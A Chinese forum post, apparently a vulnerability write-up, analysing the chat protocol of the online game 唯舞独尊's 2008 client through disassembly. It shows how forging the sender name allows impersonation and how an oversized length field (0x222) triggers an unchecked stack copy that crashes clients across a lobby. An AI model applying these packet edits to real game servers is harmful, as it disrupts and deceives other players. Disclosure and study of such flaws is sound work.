这几天躲在美国,在家里闷的打电动
唯舞独尊这个OL是Jolin代言的,所以一直在关注
客户端Do.exe是 Release Build - Jan 14 2008的版本,成贴时是最新的
我在这里呼吁大家不要转载我的图片,视频以及本文
禁止使用本文中的内容做坏事,一切后果由使用者自负
言归正传
这个漏洞是聊天协议中对聊天内容的长度判断不严格导致的
利用这个漏洞至少可以实现一个Dos,也可以冒充别人说话
先来看一下发送聊天的过程
004EC9B4 52 push edx
004EC9B5 8D8424 34010000 lea eax,dword ptr ss:[esp+134]
004EC9BC 50 push eax
004EC9BD 6A 0C push 0C
004EC9BF C68424 A1010000 00 mov byte ptr ss:[esp+1A1],0
004EC9C7 E8 34B10C00 call Do.005B7B00
4EC9C7这里可以看到发送聊天的明文状态,一共三个参数
void __stdcall sub_4EC9C7(DWORD protocol, LPBYTE buf, WORD length)
{
...
}
在4EC9C7下断,随便发句聊天test, 断下看具体内容
注意堆栈
0013EBF4 0000000C protocol,表示聊天的命令码
0013EBF8 0013ED30 ASCII "123456" buf, 封包内容
0013EBFC 6574001B length, 现在长度是0x1B
在数据窗口中查看封包内容
0013ED30 31 32 33 34 35 36 00 00 00 00 00 00 00 00 00 09 123456..........
0013ED40 00 07 00 00 1B 00 74 65 73 74 00 ....test......
+0x00 处的123456 是我的角色名字
+0x14 处的WORD 是0x1B,这个值-0x16就是聊天内容的长度(这点后面会再讲)
+0x16 处是聊天内容的开始
通过封包内容至少有三点可以利用
1. 修改封包中的聊天发送者
2. 修改聊天类型
3. 修改聊天长度或内容
第1点已经成功了,也就是在发聊天包时,把发送者的名字改成任何名字,服务器正常接受,有PP有真相
第2点没有尝试 :)
第3点实验如下
把聊天长度的封包改大,改成0x222,即发送的聊天包如下
0013ED30 31 32 33 34 35 36 00 00 00 00 00 00 00 00 00 09 123456..........
0013ED40 00 07 00 00 22 02 74 65 73 74 00 ....test......
发送出去后,服务器会把这个聊天包发给大厅内的所有玩家,当然也包括我自己
下面是客户端对收到聊天包的处理
004BCE49 8B5D 0C mov ebx,dword ptr ss:[ebp+C]
004BCE4C 33C0 xor eax,eax
004BCE4E B9 40000000 mov ecx,40
004BCE53 8D7C24 18 lea edi,dword ptr ss:[esp+18]
004BCE57 F3:AB rep stos dword ptr es:[edi]
004BCE59 B9 40000000 mov ecx,40
004BCE5E 8DBC24 18020000 lea edi,dword ptr ss:[esp+218]
004BCE65 F3:AB rep stos dword ptr es:[edi]
004BCE67 B9 40000000 mov ecx,40
004BCE6C 8DBC24 18010000 lea edi,dword ptr ss:[esp+118]
004BCE73 F3:AB rep stos dword ptr es:[edi]
004BCE75 0FB74B 14 movzx ecx,word ptr ds:[ebx+14] +0x14处的WORD 的长度取出
004BCE79 83E9 16 sub ecx,16 前面说的这个WORD-0x16就是聊天长度
004BCE7C 8BC1 mov eax,ecx
004BCE7E C1E9 02 shr ecx,2
004BCE81 8D73 16 lea esi,dword ptr ds:[ebx+16] +0x16处是聊天内容的开始
004BCE84 8DBC24 18010000 lea edi,dword ptr ss:[esp+118] 目的地址是局部变量,位于esp+0x118
004BCE8B F3:A5 rep movsd 将聊天内容copy到目的地址
004BCE8D 8BC8 mov ecx,eax
004BCE8F 0FBF43 12 movsx eax,word ptr ds:[ebx+12]
004BCE93 83E1 03 and ecx,3
004BCE96 83F8 05 cmp eax,5
004BCE99 F3:A4 rep movsb
看到了吧,聊天长度没有经过判断就直接拿去memcpy
向上翻到这个函数的头,可以发现
004BCC40 55 push ebp
004BCC41 8BEC mov ebp,esp
004BCC43 83E4 F8 and esp,FFFFFFF8
004BCC46 81EC 14030000 sub esp,314
这个函数开辟的局部变量长度大约是 0x314
也就是说我们只要copy大约0x314-0x118 约等于0x200 长度就溢出了
我们先前实验是0x222,减去0x16后,足够了
有PP有真相
即使是Dos,如果有人发一个恶意的大喇叭,可能一个服务器的人全要掉线啦
最后希望唯舞独尊紧快修正这些漏洞,越做越好
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法